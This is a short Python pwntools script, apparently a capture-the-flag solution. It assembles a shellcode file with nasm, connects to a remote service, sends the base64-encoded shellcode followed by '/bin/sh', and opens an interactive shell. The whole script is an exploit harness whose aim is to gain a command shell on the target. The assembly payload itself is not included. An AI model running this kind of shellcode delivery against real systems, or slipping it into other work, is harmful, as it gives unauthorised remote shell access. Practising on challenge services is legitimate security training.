from pwn import *
from base64 import b64encode
from subprocess import run
run("nasm -f bin solve.asm -o solve.bin", shell=True, check=True)
p = remote(args.HOST or "localhost", args.PORT or 5000)
data = b64encode(open("solve.bin", "rb").read())
p.sendlineafter(b": ", data)
p.sendlineafter(b": ", b"/bin/sh")
p.interactive()